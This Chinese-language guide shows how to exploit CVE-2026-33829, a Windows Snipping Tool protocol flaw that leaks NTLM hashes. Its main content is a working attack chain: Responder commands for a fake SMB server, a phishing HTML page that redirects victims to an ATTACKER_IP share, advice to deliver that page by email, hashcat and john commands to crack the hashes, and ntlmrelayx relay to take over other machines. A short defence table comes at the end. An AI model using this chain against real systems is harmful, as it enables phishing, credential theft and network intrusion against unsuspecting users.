概述
| 项目 | 内容 |
|---|---|
| CVE ID | CVE-2026-33829 |
| 类型 | CWE-200:敏感信息泄露到未授权 actor |
| 影响组件 | Windows Snipping Tool (ms-screensketch 协议) |
| 严重程度 | 中等(需要用户交互) |
| 披露时间 | 2026年4月14日 |
| 修复时间 | 2026年4月14日 |
| 受影响系统 | Windows 10/11 Snipping Tool(未打补丁) |
漏洞原理
Windows Snipping Tool 注册了 ms-screensketch: 深度链接协议,正常用法是加载本地或远程图片:
ms-screensketch:edit?&filePath=\\server\share\file.png&isTemporary=false&saved=true&source=Toast
当 Snipping Tool 尝试加载远程 SMB 路径时,Windows 会自动用当前用户的 NTLM 凭证做 SMB 认证,而不是弹出登录框。
攻击者利用这个机制,构造恶意链接,指向自己控制的 SMB 服务器:
ms-screensketch:edit?&filePath=\\attacker-ip\share\wallpaper.png&isTemporary=false&saved=true&source=Toast
用户访问后,Snipping Tool 尝试加载攻击者的 SMB 共享,Windows 自动发送用户的 Net-NTLM hash。
利用环境
| 机器 | IP | 角色 |
|---|---|---|
| 靶机 | Windows 10 | 受害者,运行 Snipping Tool |
| 攻击机 | Ubuntu | 伪造 SMB 服务器,用 Responder 捕获 NTLM |
环境搭建
攻击机(Ubuntu)
# 安装 Responder
sudo apt update
sudo apt install responder
# 启动 Responder,伪造 SMB 服务
sudo responder -I eth0 -v
参数说明:
-I eth0— 监听网卡(改成你的网卡名,用ip a确认)-v— 详细输出
Responder 会监听 445/139 端口,当受害机连接过来时,自动用固定 challenge 加密 NTLM 响应,拿到 hash。
利用步骤
第一步:攻击机启动 Responder
sudo responder -I eth0 -v
输出类似:
[NTLM] LAN MANAGER/NTLMv2 Challenge/Response detected
[NTLM] Sending challenge: 11111111111111111111111111111111
[NTLM] Authenticating: DOMAIN\username
[NTLM] Partial Hash: e19cc495ac3fd3d2cc5da0de1e83f08c
第二步:构造钓鱼链接
攻击者在自己控制的服务器上放一个 HTML 页面:
<!DOCTYPE html>
<html>
<head>
<title>Corporate Wallpaper</title>
<meta http-equiv="refresh" content="0;url=ms-screensketch:edit?&filePath=\\\\ATTACKER_IP\\\share\\\wallpaper.png&isTemporary=false&saved=true&source=Toast">
</head>
<body>
<h1>点击这里下载新壁纸</h1>
<img src="wallpaper.png"
onerror="window.location='ms-screensketch:edit?&filePath=\\\\\ATTACKER_IP\\\\share\\\\wallpaper.png&isTemporary=false&saved=true&source=Toast'">
</body>
</html>
把 ATTACKER_IP 换成攻击机的 IP(用攻击机的局域网 IP)。
第三步:让靶机用户访问
方式:
- 发钓鱼邮件,附上链接
- 或者托管这个 HTML,通过聊天/邮件发送 URL
当用户用 Edge/Chrome 打开这个页面时,浏览器自动触发 ms-screensketch: 协议,Windows 唤起 Snipping Tool,Snipping Tool 尝试加载 \\ATTACKER_IP\share\wallpaper.png,自动发送 NTLM hash。
第四步:捕获 Hash
Responder 界面会显示:
[NTLM] Captured Hash:
username::DOMAIN:response_with_lm_and_ntlm:challenge:server
格式类似:
admin::WIN10:5c1a082cf50d7f4c2e33a3de86f7c9a7:112233445566778899aabbccddee00ff:01020304050607080910111213141516
第五步:破解 Hash 或 Relay
5.1 离线破解(hashcat)
# NTLMv2 格式,5600 是 mode
hashcat -m 5600 ntlm_hash.txt wordlist.txt
# 或者用 john
john --format=netntlmv2 --wordlist=rockyou.txt ntlm_hash.txt
如果用户密码是弱密码,几分钟内就能破解出来。
5.2 NTLM Relay(直接拿权限)
用 ntlmrelayx(Impacket)relay 到同一域内的其他机器:
# 安装 Impacket
pip3 install impacket
# Relay 到目标机器(假设 192.168.1.100 是域内文件服务器)
sudo ntlmrelayx.py -t 192.168.1.100 -smb2support
如果目标机器没有启用 SMB 签名,relay 成功可以直接执行命令,拿下机器权限。
关键限制
| 限制 | 说明 |
|---|---|
| 需要用户交互 | 用户必须访问恶意链接或点击触发 |
| 同一局域网 | SMB 流量需要能到达攻击者机器(445 端口) |
| SMB 签名可阻止 Relay | 启用后 relay 失败,但 hash 仍会被捕获 |
| 已修复版本 | 打 2026-04 补丁后 ms-screensketch: 会对 UNC 路径做验证 |
防御措施
| 措施 | 说明 |
|---|---|
| 打补丁 | 安装 2026-04 Windows 安全更新 |
| SMB 签名 | 组策略 → 网络安全 → LAN Manager 身份验证级别 → 要求 NTLMv2 + SMB 签名 |
| 阻止 445 出站 | 防火墙阻止到非域控制器的 SMB 出站流量 |
| 限制 NTLM | 通过组策略禁用 NTLM 认证 |
| 网络隔离 | 关键机器不在同一广播域 |
工具链总结
| 工具 | 用途 |
|---|---|
| Responder | 伪造 SMB/DNS/HTTP 服务,捕获 NTLM hash |
| ntlmrelayx | 将 hash relay 到其他机器拿权限 |
| hashcat | 离线破解 NTLM hash |
| john the ripper | 离线破解 |
思维延伸
这个漏洞本质是协议层面的自动认证行为。Windows 的 SMB 客户端在访问 UNC 路径时,会自动用当前用户的 NTLM 凭证做认证,不需要用户确认。这是一个历史遗留设计,在域环境中很方便,但对安全来说是个隐患。
类似的问题还存在于:
- MSTSC(RDP) 的 restricted admin 模式
- WinRM 的 NTLM 认证
- SMB 的 NTLM 认证
这些都是红队工作中经常利用的点。
参考
- 微软公告:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829
- 原始报告:BlackArrow Security(https://www.blackarrow.net)
- GitHub:https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2026-33829